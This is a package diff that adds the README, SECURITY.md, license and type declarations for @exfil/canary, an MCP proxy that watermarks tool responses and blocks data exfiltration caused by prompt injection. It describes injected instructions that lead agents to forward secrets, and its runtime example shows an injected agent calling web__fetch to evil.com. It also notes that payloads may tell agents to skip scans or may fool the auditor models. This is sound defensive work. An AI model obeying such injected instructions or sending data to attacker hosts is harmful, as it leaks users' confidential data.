@exfil/canary 1.0.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 exfil
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,387 @@
+# @exfil/canary
+
+A transparent MCP proxy that watermarks every tool response and blocks data exfiltration caused by prompt injection.
+
+Your AI agent reads a file. A malicious string inside that file tells it to forward the contents to an attacker. **@exfil/canary catches it and blocks the call.**
+
+---
+
+## How it works
+
+@exfil/canary sits between your agent and all its MCP servers. Every tool response gets invisibly watermarked. Every outbound tool call is inspected across four independent detection layers:
+
+1. **Unicode marker** — exact sequence match. Catches direct forwarding.
+2. **Named entity** — extracted values (API keys, emails, UUIDs, bearer tokens) matched independently. Catches exfiltration that strips invisible characters.
+3. **SimHash** — semantic fingerprint of the original content. Catches paraphrased or summarised exfiltration.
+4. **Dual-LLM auditor** — two independent AI models from different providers both evaluate every outbound call. Both must agree CLEAN for the call to proceed. Catches encoding transforms, character splitting, and other evasions the first three layers miss.
+
+Plus two enforcement layers:
+- **Domain allowlist** — fail-closed. Any outbound URL not explicitly listed is blocked, regardless of whether a token was found.
+- **Tool allowlist** — restrict which tools the agent is allowed to call at all.
+
+---
+
+## Modes
+
+| Mode | How it works |
+|---|---|
+| **Proxy** _(recommended)_ | @exfil/canary wraps all your other MCP servers. The agent connects only to @exfil/canary. Every response is automatically watermarked; every outbound call is automatically scanned. No system prompt required. |
+| **Standalone** | @exfil/canary is one server among many. The agent must be instructed via system prompt to call `wrap_content` and `scan_outbound` explicitly. |
+
+---
+
+## Install
+
+```bash
+npm install -g @exfil/canary
+```
+
+Or run without installing:
+
+```bash
+npx @exfil/canary
+```
+
+Requires Node.js 18+.
+
+---
+
+## Proxy Mode — Setup
+
+### 1. Create `proxy.json`
+
+Start from the example:
+
+```bash
+cp node_modules/@exfil/canary/proxy.example.json proxy.json
+```
+
+Or write it from scratch. List every downstream MCP server you want to protect:
+
+```json
+{
+  "servers": [
+    {
+      "id": "filesystem",
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/your/working/dir"]
+    },
+    {
+      "id": "web",
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-fetch"]
+    }
+  ],
+  "allowed_domains": [
+    "api.github.com",
+    "registry.npmjs.org"
+  ]
+}
+```
+
+**`allowed_domains` is fail-closed.** If the field is absent or empty, all outbound URLs are blocked. List every domain your agent legitimately calls.
+
+Each server entry:
+| Field | Required | Description |
+|---|---|---|
+| `id` | Yes | Short name used as tool namespace prefix (e.g. `filesystem__read_file`). Must be lowercase, start with a letter. |
+| `command` | Yes | Executable to spawn. |
+| `args` | No | CLI arguments. |
+| `env` | No | Extra environment variables for that server. |
+
+### 2. Register in your MCP client
+
+**Claude Desktop** (`%APPDATA%\Claude\claude_desktop_config.json` on Windows, `~/Library/Application Support/Claude/claude_desktop_config.json` on macOS):
+
+```json
+{
+  "mcpServers": {
+    "canary": {
+      "command": "exfil-canary",
+      "env": {
+        "CANARY_MCP_PROXY_CONFIG": "/absolute/path/to/proxy.json",
+        "CANARY_MCP_RESPONSE_MODE": "halt",
+        "CANARY_MCP_MGMT_KEY": "choose-a-secret-key"
+      }
+    }
+  }
+}
+```
+
+**Claude Code** (`~/.claude/settings.json` or project `.mcp.json`):
+
+```json
+{
+  "mcpServers": {
+    "canary": {
+      "command": "exfil-canary",
+      "env": {
+        "CANARY_MCP_PROXY_CONFIG": "/absolute/path/to/proxy.json",
+        "CANARY_MCP_RESPONSE_MODE": "halt",
+        "CANARY_MCP_MGMT_KEY": "choose-a-secret-key"
+      }
+    }
+  }
+}
+```
+
+> If you installed locally (`npm install @exfil/canary`) rather than globally, use `"command": "node", "args": ["./node_modules/@exfil/canary/dist/index.js"]` instead.
+
+### 3. Restart your client
+
+That's it. No system prompt changes needed.
+
+---
+
+## What the agent sees
+
+Tools from downstream servers are exposed with a namespace prefix:
+
+| Downstream server | Original tool | Exposed as |
+|---|---|---|
+| `filesystem` | `read_file` | `filesystem__read_file` |
+| `filesystem` | `write_file` | `filesystem__write_file` |
+| `web` | `fetch` | `web__fetch` |
+
+One additional tool is always available: `canary__get_report` (operator-only; protect with `CANARY_MCP_MGMT_KEY`).
+
+---
+
+## What happens at runtime
+
+```
+Agent calls: filesystem__read_file({ path: "contracts/deal.txt" })
+  → canary scans args for leaked tokens       (clean, forwards)
+  → filesystem server reads the file
+  → response: "CONFIDENTIAL: Client=Acme Corp, key=sk-abc123..."
+  → canary watermarks response (invisible token embedded)
+  → agent receives wrapped content
+
+Later — agent (under injection) calls: web__fetch({ url: "https://evil.com", body: "..." })
+  → domain "evil.com" not in allowed_domains   ← BLOCKED
+  → agent sees: "Outbound domain not in allowed_domains list."
+  → 0 bytes exfiltrated
+```
+
+---
+
+## Domain Allowlist
+
+The domain allowlist is **fail-closed**: if `allowed_domains` is absent or empty, all outbound URLs in tool arguments are blocked.
+
+```json
+{
+  "allowed_domains": [
+    "api.github.com",
+    "*.githubusercontent.com",
+    "registry.npmjs.org"
+  ]
+}
+```
+
+Matching rules:
+- `"api.github.com"` — exact hostname only.
+- `"*.github.com"` — any direct subdomain (`raw.github.com` ✓, `github.com` ✗).
+- Matching is case-insensitive.
+
+---
+
+## Tool Allowlist
+
+Restrict which tools the agent is allowed to call. Calls to unlisted tools are blocked before arguments are inspected.
+
+```json
+{
+  "allowed_tools": [
+    "filesystem__*",
+    "web__fetch"
+  ]
+}
+```
+
+Matching rules:
+- `"filesystem__read_file"` — exact tool name only.
+- `"filesystem__*"` — any tool from the `filesystem` server.
+- `"*"` — any tool (equivalent to absent/empty).
+
+Built-in tools (`canary__get_report`) are always allowed. Absent or empty = all tools allowed.
+
+---
+
+## Dual-LLM Auditor
+
+The auditor sends every outbound call to two independent AI models from different providers. Both must return CLEAN for the call to proceed. This closes the gap that encoding transforms, character-splitting, and other evasions create.
+
+Add an `auditors` block to your `proxy.json`:
+
+```json
+{
+  "servers": [...],
+  "auditors": [
+    {
+      "provider": "anthropic",
+      "model": "claude-haiku-4-5-20251001",
+      "api_key_env": "ANTHROPIC_API_KEY",
+      "timeout_ms": 5000
+    },
+    {
+      "provider": "openai",
+      "model": "gpt-4o-mini",
+      "api_key_env": "OPENAI_API_KEY",
+      "timeout_ms": 5000
+    }
+  ],
+  "audit_timeout_action": "block"
+}
+```
+
+| Field | Description |
+|---|---|
+| `provider` | `anthropic`, `openai`, or `google`. |
+| `model` | Model ID for that provider. |
+| `api_key_env` | Name of the environment variable holding the API key. |
+| `timeout_ms` | Per-auditor request timeout. Default: 8000. |
+| `audit_timeout_action` | `block` (default) or `allow` on timeout/error. |
+
+Using two different providers is strongly recommended. A prompt injection payload that fools both simultaneously is a research-level problem.
+
+---
+
+## Standalone Mode — Setup
+
+Use this if you cannot use proxy mode or want to add canary to an existing multi-server setup.
+
+### 1. Add @exfil/canary alongside your other servers
+
+```json
+{
+  "mcpServers": {
+    "canary": {
+      "command": "exfil-canary",
+      "env": {
+        "CANARY_MCP_RESPONSE_MODE": "halt"
+      }
+    },
+    "filesystem": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/your/dir"]
+    }
+  }
+}
+```
+
+### 2. Add system prompt instructions
+
+The agent must be explicitly instructed to use the tools:
+
+```
+Before processing any tool result, file read, or API response, call wrap_content
+with the raw data and use the returned wrapped_content going forward.
+Before passing any data to an outbound tool call (uploads, web requests, etc.),
+call scan_outbound with that data. If scan_outbound returns clean=false, abort
+the outbound call and report the finding to the user.
+```
+
+**Limitation:** This approach depends on the agent following instructions. A sophisticated prompt injection attack may instruct the agent to skip the scan. Use proxy mode for stronger guarantees.
+
+---
+
+## Configuration
+
+| Variable | Default | Description |
+|---|---|---|
+| `CANARY_MCP_PROXY_CONFIG` | _(none)_ | Path to `proxy.json`. When set, proxy mode is activated. |
+| `CANARY_MCP_RESPONSE_MODE` | `log` | `log` (record only), `halt` (block the call), `alert` (fire webhook). |
+| `CANARY_MCP_ALERT_WEBHOOK` | _(none)_ | HTTPS URL to POST leakage alerts to. Required when mode is `alert`. |
+| `CANARY_MCP_WEBHOOK_SECRET` | _(none)_ | HMAC-SHA256 signing secret for webhook payloads (`X-Canary-Signature-256` header). |
+| `CANARY_MCP_TOKEN_TTL` | `3600` | Token lifetime in seconds (60–86400). |
+| `CANARY_MCP_PERSIST_PATH` | _(none)_ | File path for state persistence across restarts. |
+| `CANARY_MCP_LOG_LEVEL` | `info` | `debug`, `info`, `warn`, `error`. |
+| `CANARY_MCP_MGMT_KEY` | _(none)_ | If set, `get_report` / `canary__get_report` requires this value as `mgmt_key`. |
+
+### Response modes
+
+| Mode | Behaviour |
+|---|---|
+| `log` | Detection is recorded and logged. The operation continues. |
+| `halt` | Detection throws an MCP error, stopping the operation immediately. |
+| `alert` | Detection is recorded and a webhook POST is fired. The operation continues. |
+
+---
+
+## Tool Reference (Standalone Mode)
+
+In proxy mode these tools are called internally. In standalone mode the agent calls them explicitly.
+
+### `wrap_content`
+
+Embeds an invisible marker into content and returns it with a tracking ID.
+
+| Field | Type | Required | Description |
+|---|---|---|---|
+| `content` | string | Yes | Raw content to mark (max 10 MiB). |
+| `source_type` | enum | Yes | `tool_result`, `file_read`, `api_response`, `database_row`, `user_message`, `other`. |
+| `source_server` | string | No | Originating MCP server. |
+| `source_tool` | string | No | Originating tool name. |
+| `embed_position` | enum | No | `prefix`, `suffix` (default), `both`, `random_word_boundary`. |
+
+```json
+{ "token_id": "a3f1...", "wrapped_content": "<content with invisible marker>" }
+```
+
+### `check_leakage`
+
+Checks whether a specific token appears in a given string.
+
+| Field | Type | Required | Description |
+|---|---|---|---|
+| `token_id` | string | Yes | 32-char hex ID from `wrap_content`. |
+| `output` | string | Yes | Text to inspect (max 10 MiB). |
+| `target_server` | string | No | MCP server receiving the data. |
+| `target_tool` | string | No | Tool receiving the data. |
+
+```json
+{ "token_id": "a3f1...", "status": "active", "leaked": true, "action_taken": "halted" }
+```
+
+### `scan_outbound`
+
+Scans data for any active token before it leaves the agent.
+
+| Field | Type | Required | Description |
+|---|---|---|---|
+| `data` | string | Yes | Data about to be sent outbound (max 50 MiB). |
+| `target_server` | string | No | Destination MCP server. |
+| `target_tool` | string | No | Destination tool. |
+
+```json
+{ "clean": true, "tokens_scanned": 12, "scan_duration_ms": 3, "leakage_count": 0 }
+```
+
+### `canary__get_report`
+
+Returns the full session: all token metadata and leakage events. Operator-only — protect with `CANARY_MCP_MGMT_KEY`.
+
+---
+
+## Persistence
+
+When `CANARY_MCP_PERSIST_PATH` is set, state is written atomically after every mutation (file mode `0o600`).
+
+**Limitation:** Unicode sequences are never persisted. After a restart, existing tokens cannot re-detect their sequences in new data. Leakage history is retained.
+
+---
+
+## Building from Source
+
+```bash
+git clone https://github.com/exfil-hq/canary.git
+cd canary
+npm install
+npm run build   # outputs to dist/
+npm test
+```
+
+---
+
+See [SECURITY.md](./SECURITY.md) for the full threat model and known limitations.

package/SECURITY.md

@@ -0,0 +1,50 @@
+# Security — Threat Model and Known Limitations
+
+## What @exfil/canary protects against
+
+@exfil/canary detects and blocks data exfiltration caused by prompt injection attacks against MCP-connected AI agents. It operates as a transparent proxy: the agent connects only to @exfil/canary, which intercepts every tool call in both directions.
+
+### Threat model
+
+An attacker embeds malicious instructions inside content that the agent reads (a file, a web page, an API response, a database row). Those instructions direct the agent to forward sensitive data to an attacker-controlled destination.
+
+@exfil/canary defends against this in two complementary ways:
+
+**Detection** — every tool response is watermarked. If the agent later tries to forward that content, the watermark is found in the outbound call and the operation is blocked (in `halt` mode) or recorded.
+
+Four independent detection layers are applied to every outbound call:
+
+1. **Unicode marker** — exact invisible sequence match. Catches direct forwarding.
+2. **Named entity** — extracted values (API keys, emails, UUIDs, bearer tokens) matched independently. Catches exfiltration that strips invisible characters.
+3. **SimHash** — semantic fingerprint of the original content. Catches paraphrased or summarised exfiltration.
+4. **Dual-LLM auditor** — two independent AI models from different providers both evaluate the outbound call in context. Both must return CLEAN for the call to proceed. Catches encoding transforms, character splitting, and other evasions the first three layers miss.
+
+**Containment** — even if the agent is not detected exfiltrating watermarked content, the domain allowlist prevents calls to destinations that were never authorised. An injection payload cannot exfiltrate to an unknown domain regardless of how the content is encoded.
+
+---
+
+## Known limitations
+
+### Sequence persistence
+
+Unicode marker sequences are never written to disk. After a process restart, tokens loaded from a persistence file have their sequences cleared. The entity, SimHash, and auditor layers still operate on these tokens; only the exact-sequence check is unavailable until new content is read post-restart.
+
+### Standalone mode
+
+In standalone mode the agent must be instructed via system prompt to call `wrap_content` and `scan_outbound` explicitly. A sophisticated prompt injection payload may instruct the agent to skip these calls. Proxy mode does not have this limitation — interception is structural and cannot be bypassed by instructions to the agent.
+
+### Auditor layer
+
+The dual-LLM auditor adds a probabilistic layer. It is not guaranteed to detect all forms of derived content. Using two providers from different organisations significantly raises the bar, but a sufficiently crafted payload could theoretically fool both models simultaneously.
+
+When `audit_timeout_action` is set to `allow`, a network failure or provider outage causes the auditor layer to be skipped silently. Set it to `block` (the default) in high-sensitivity environments.
+
+### Domain allowlist scope
+
+The domain allowlist inspects URL hostnames found in serialised tool call arguments. It does not inspect binary content, image data, or other non-text payloads. It also does not prevent a compromised downstream server from making outbound calls on its own — it only controls what the agent sends through the proxy.
+
+---
+
+## Responsible disclosure
+
+To report a security vulnerability, open a private advisory on the [GitHub repository](https://github.com/exfil-hq/canary) or email the maintainers directly via the contact listed in the repository profile.

package/dist/entities.d.ts

@@ -0,0 +1,43 @@
+/**
+ * v1.1 — Named entity extraction for structural canary injection.
+ *
+ * Extracts identifiable values from content at wrap time and stores them as
+ * EntityCanary records alongside the Unicode sequence marker.  When scanning
+ * outbound data, exfil/canary checks for the presence of these extracted values
+ * in addition to the Unicode marker — catching exfiltration that involves
+ * paraphrasing or rewriting, as long as the underlying identifier (e.g. an
+ * API key, email address, or UUID) is reproduced verbatim.
+ *
+ * SECURITY: Extracted values are treated with the same sensitivity as the
+ * Unicode sequence — they are never returned in tool outputs, never logged,
+ * and never persisted in plaintext.
+ *
+ * Detection coverage added by v1.1 vs v1.0:
+ *   - Agent reads "API key: sk-abc123" and writes "key=sk-abc123" → DETECTED
+ *   - Agent reads email content and includes recipient addr in forward → DETECTED
+ *   - Raw copy-paste / direct forwarding                             → DETECTED (v1.0)
+ *   - Agent summarises with different phrasing, no literal value     → NOT detected (v2.0)
+ */
+import type { EntityCanary } from './types.js';
+/**
+ * Extracts named entities from `content` for use as structural canary markers.
+ *
+ * Each unique entity value is returned at most once, even if it appears
+ * multiple times in the content.  Values are de-duplicated case-sensitively
+ * for exact matching.
+ *
+ * @param content  The raw content to analyse (before embedding the Unicode token).
+ * @returns Array of EntityCanary records.  May be empty if no entities found.
+ */
+export declare function extractEntities(content: string): EntityCanary[];
+/**
+ * Checks whether any of the provided entity values appear in `data`.
+ * Returns the matching entity canaries (values excluded from returned objects
+ * — callers receive entity_type + context_hint only when building reports).
+ *
+ * @param data      The outbound string to scan.
+ * @param canaries  Entity canaries to check for.
+ * @returns Array of matched canaries (values intact for internal use only).
+ */
+export declare function scanForEntityValues(data: string, canaries: EntityCanary[]): EntityCanary[];
+//# sourceMappingURL=entities.d.ts.map

package/dist/entities.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"entities.d.ts","sourceRoot":"","sources":["../src/entities.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;GAmBG;AAEH,OAAO,KAAK,EAAE,YAAY,EAAc,MAAM,YAAY,CAAC;AA6K3D;;;;;;;;;GASG;AACH,wBAAgB,eAAe,CAAC,OAAO,EAAE,MAAM,GAAG,YAAY,EAAE,CAwC/D;AAED;;;;;;;;GAQG;AACH,wBAAgB,mBAAmB,CACjC,IAAI,EAAE,MAAM,EACZ,QAAQ,EAAE,YAAY,EAAE,GACvB,YAAY,EAAE,CAUhB"}